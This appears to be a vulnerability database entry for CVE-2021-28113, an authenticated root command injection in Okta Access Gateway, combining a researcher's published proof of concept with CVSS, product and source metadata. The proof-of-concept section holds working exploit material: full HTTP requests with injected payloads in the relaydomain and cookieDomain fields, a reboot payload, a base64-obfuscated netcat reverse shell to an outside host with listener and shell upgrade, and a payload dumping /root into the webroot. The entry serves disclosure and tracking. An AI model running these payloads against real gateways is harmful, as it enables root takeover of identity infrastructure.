VAR-202104-1194
Vulnerability from variot - Updated: 2023-12-18 13:32A command injection vulnerability in the cookieDomain and relayDomain parameters of Okta Access Gateway before 2020.9.3 allows attackers (with admin access to the Okta Access Gateway UI) to execute OS commands as a privileged system account. Since the injection occurs when a script is executed with sudo, the commands are ran with root privileges.
BUG #1 - relay
Command injection as root in Applications via the 'relaydomain' field when passing parameters to generateCert.sh. This is blind injection, so without monitoring logs or local execution instrumentation, the output will not simply returned in the response.
Also, the included 'nc' binary that the system image includes has the -e flag available which enables an exploitation easier via connect back shell.
[Request]
POST /api/v1/app/idp/[valid-IDP] HTTP/1.1 Host: gw-admin.domain.tld Content-Type: application/json;charset=utf-8 X-CSRF-TOKEN: [placeholder] Content-Length: 134 Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]
{"settings": {"label":"test", "type":"CERTHEADER2015_APP", "relaydomain":"..$(whoami)", <-- HERE "groups":[], "handlers":{}} ,"policies":[{}]}
[Response /w local instrumentation for monitoring]
pid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ]
[Quick testing]
"relaydomain":"..$(reboot)"
and the system should reboot.
[Exploitation for reverse shell]
Note: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards.
1) generate base64 for the connect back command to be executed
$ echo -n "nc 10.0.0.111 5000 -e /bin/bash" | base64 bmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo
2) start a listener
$ nc -l -p 5000 ...
3) make the request with the payload (.. is required due to how it parses domains)
..$(echo${IFS}'bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA=='>test;$(base64${IFS}-d${IFS}test))
4) get a root shell from the server
- connection from 10.0.0.77 * python -c 'import pty; pty.spawn("/bin/bash")'
[0] root@oag.okta.com;/root#
Note: the hostname of the local OAG test system happens to be oag.okta.com and has nothing to do with any Okta company servers.
BUG #2 - cookie
Command injection as root in Identity Providers via the 'cookieDomain' field when passing parameters to generateCert.sh.
[Request]
POST /api/v1/setting/idp/local HTTP/1.1 Host: gw-admin.domain.tld Content-Type: application/json;charset=utf-8 X-CSRF-TOKEN: [placeholder] Content-Length: 222 Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]
{"subCategory": "IDP_SAML_LOCAL", "json":{ "name":"Local OAG IDP", "host":"https://google.com", "cookieDomain":"$(uname${IFS}-n)", <-- HERE "nameIDFormat":"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified", "metadata":{}}, "$edit":true}
[Response /w local instrumentation for monitoring]
pid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64
1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]
[Quick testing]
"cookieDomain":"$(reboot)"
and the system should reboot.
[Exploitation for executing commands with output in the webroot]
Same note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable).
1) generate base64 for "ls -al /root" to be written to a location accessible via web request
$ echo -n "script -q -c ls\$IFS-al\$IFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0 c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==
2) make the request with the payload
$(echo${IFS}'c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA=='>test;$(base64${IFS}-d${IFS}test))
3) check https://gw-admin.domain.tld/auth/test.php for the output of the command
=== Fix ===
The cookie bug was a "known issue" and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1.
https://www.okta.com/security-advisories/cve-2021-28113/
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202104-1194",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "access gateway",
"scope": "lte",
"trust": 1.0,
"vendor": "okta",
"version": "2020.8.4"
},
{
"model": "access gateway",
"scope": "eq",
"trust": 0.8,
"vendor": "okta",
"version": "2020/9/3 before that"
},
{
"model": "access gateway",
"scope": "eq",
"trust": 0.8,
"vendor": "okta",
"version": null
},
{
"model": "access gateway",
"scope": null,
"trust": 0.8,
"vendor": "okta",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "NVD",
"id": "CVE-2021-28113"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:okta:access_gateway:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "2020.8.4",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2021-28113"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Jeremy Brown",
"sources": [
{
"db": "PACKETSTORM",
"id": "163428"
}
],
"trust": 0.1
},
"cve": "CVE-2021-28113",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "NVD",
"availabilityImpact": "PARTIAL",
"baseScore": 8.7,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"impactScore": 9.5,
"integrityImpact": "COMPLETE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:P",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "Single",
"author": "NVD",
"availabilityImpact": "Partial",
"baseScore": 8.7,
"confidentialityImpact": "Complete",
"exploitabilityScore": null,
"id": "CVE-2021-28113",
"impactScore": null,
"integrityImpact": "Complete",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.9,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 8.7,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-387508",
"impactScore": 9.5,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "LOW",
"baseScore": 6.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 1.2,
"impactScore": 5.5,
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"trust": 2.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "OTHER",
"availabilityImpact": "Low",
"baseScore": 6.7,
"baseSeverity": "Medium",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "JVNDB-2021-005124",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "High",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2021-28113",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "cve@mitre.org",
"id": "CVE-2021-28113",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-202104-105",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-387508",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2021-28113",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-387508"
},
{
"db": "VULMON",
"id": "CVE-2021-28113"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "A command injection vulnerability in the cookieDomain and relayDomain parameters of Okta Access Gateway before 2020.9.3 allows attackers (with admin access to the Okta Access Gateway UI) to execute OS commands as a privileged system account. \nSince the injection occurs when a script is executed with sudo, the commands are ran with root\nprivileges. \n\nBUG #1 - relay\n\nCommand injection as root in Applications via the \u0027relaydomain\u0027 field when passing\nparameters to generateCert.sh. This is blind injection, so without monitoring logs or\nlocal execution instrumentation, the output will not simply returned in the response. \n\nAlso, the included \u0027nc\u0027 binary that the system image includes has the -e flag available\nwhich enables an exploitation easier via connect back shell. \n\n[Request]\n\nPOST /api/v1/app/idp/[valid-IDP] HTTP/1.1\nHost: gw-admin.domain.tld\nContent-Type: application/json;charset=utf-8\nX-CSRF-TOKEN: [placeholder]\nContent-Length: 134\nCookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]\n\n{\"settings\":\n{\"label\":\"test\",\n\"type\":\"CERTHEADER2015_APP\",\n\"relaydomain\":\"..$(whoami)\", \u003c-- HERE\n\"groups\":[],\n\"handlers\":{}}\n,\"policies\":[{}]}\n\n[Response /w local instrumentation for monitoring]\n\npid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ]\n\n[Quick testing]\n\n\"relaydomain\":\"..$(reboot)\"\n\nand the system should reboot. \n\n[Exploitation for reverse shell]\n\nNote: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards. \n\n1) generate base64 for the connect back command to be executed\n\n$ echo -n \"nc 10.0.0.111 5000 -e /bin/bash\" | base64\nbmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo\n\n2) start a listener\n\n$ nc -l -p 5000\n... \n\n3) make the request with the payload (.. is required due to how it parses domains)\n\n..$(echo${IFS}\u0027bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA==\u0027\u003etest;$(base64${IFS}-d${IFS}test))\n\n4) get a root shell from the server\n\n* connection from 10.0.0.77 *\npython -c \u0027import pty; pty.spawn(\"/bin/bash\")\u0027\n\n[0] root@oag.okta.com;/root#\n\nNote: the hostname of the local OAG test system happens to be oag.okta.com and has nothing to do with any Okta company servers. \n\nBUG #2 - cookie\n\nCommand injection as root in Identity Providers via the \u0027cookieDomain\u0027 field when passing\nparameters to generateCert.sh. \n\n[Request]\n\nPOST /api/v1/setting/idp/local HTTP/1.1\nHost: gw-admin.domain.tld\nContent-Type: application/json;charset=utf-8\nX-CSRF-TOKEN: [placeholder]\nContent-Length: 222\nCookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]\n\n{\"subCategory\":\n\"IDP_SAML_LOCAL\",\n\"json\":{\n\"name\":\"Local OAG IDP\",\n\"host\":\"https://google.com\",\n\"cookieDomain\":\"$(uname${IFS}-n)\", \u003c-- HERE\n\"nameIDFormat\":\"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\",\n\"metadata\":{}},\n\"$edit\":true}\n\n[Response /w local instrumentation for monitoring]\n\npid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64\n#1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]\n\n[Quick testing]\n\n\"cookieDomain\":\"$(reboot)\"\n\nand the system should reboot. \n\n[Exploitation for executing commands with output in the webroot]\n\nSame note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable). \n\n1) generate base64 for \"ls -al /root\" to be written to a location accessible via web request\n\n$ echo -n \"script -q -c ls\\$IFS-al\\$IFS/root /opt/oag/simpleSAMLphp/www/test.php\" | base64 -w0\nc2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==\n\n2) make the request with the payload\n\n$(echo${IFS}\u0027c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==\u0027\u003etest;$(base64${IFS}-d${IFS}test))\n\n3) check https://gw-admin.domain.tld/auth/test.php for the output of the command\n\n===\nFix\n===\n\nThe cookie bug was a \"known issue\" and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1. \n\nhttps://www.okta.com/security-advisories/cve-2021-28113/\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "VULHUB",
"id": "VHN-387508"
},
{
"db": "VULMON",
"id": "CVE-2021-28113"
},
{
"db": "PACKETSTORM",
"id": "163428"
}
],
"trust": 1.89
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-387508",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-387508"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "PACKETSTORM",
"id": "163428",
"trust": 2.7
},
{
"db": "NVD",
"id": "CVE-2021-28113",
"trust": 2.7
},
{
"db": "JVNDB",
"id": "JVNDB-2021-005124",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-202104-105",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-387508",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2021-28113",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-387508"
},
{
"db": "VULMON",
"id": "CVE-2021-28113"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "PACKETSTORM",
"id": "163428"
},
{
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
]
},
"id": "VAR-202104-1194",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-387508"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T13:32:41.762000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Okta\u00a0security\u00a0advisories\u00a0(Okta\u00a0Access\u00a0Gateway\u00a0CVE-2021-28113)",
"trust": 0.8,
"url": "https://www.okta.com/security-advisories/cve-2021-28113/"
},
{
"title": "Okta Access Gateway Fixes for operating system command injection vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=146880"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.1
},
{
"problemtype": "OS Command injection (CWE-78) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-387508"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "NVD",
"id": "CVE-2021-28113"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "http://packetstormsecurity.com/files/163428/okta-access-gateway-2020.5.5-authenticated-remote-root.html"
},
{
"trust": 1.8,
"url": "https://www.okta.com/security-advisories/cve-2021-28113"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-28113"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://google.com\","
},
{
"trust": 0.1,
"url": "https://gw-admin.domain.tld/auth/test.php"
},
{
"trust": 0.1,
"url": "https://www.okta.com/security-advisories/cve-2021-28113/"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-387508"
},
{
"db": "VULMON",
"id": "CVE-2021-28113"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "PACKETSTORM",
"id": "163428"
},
{
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-387508"
},
{
"db": "VULMON",
"id": "CVE-2021-28113"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"db": "PACKETSTORM",
"id": "163428"
},
{
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2021-04-02T00:00:00",
"db": "VULHUB",
"id": "VHN-387508"
},
{
"date": "2021-04-02T00:00:00",
"db": "VULMON",
"id": "CVE-2021-28113"
},
{
"date": "2021-12-08T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"date": "2021-07-07T16:10:02",
"db": "PACKETSTORM",
"id": "163428"
},
{
"date": "2021-04-02T15:15:13.160000",
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"date": "2021-04-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2022-05-27T00:00:00",
"db": "VULHUB",
"id": "VHN-387508"
},
{
"date": "2021-07-07T00:00:00",
"db": "VULMON",
"id": "CVE-2021-28113"
},
{
"date": "2021-12-08T03:07:00",
"db": "JVNDB",
"id": "JVNDB-2021-005124"
},
{
"date": "2022-05-27T16:47:02.470000",
"db": "NVD",
"id": "CVE-2021-28113"
},
{
"date": "2021-07-08T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "163428"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Okta\u00a0Access\u00a0Gateway\u00a0 In \u00a0OS\u00a0 Command injection vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-005124"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202104-105"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…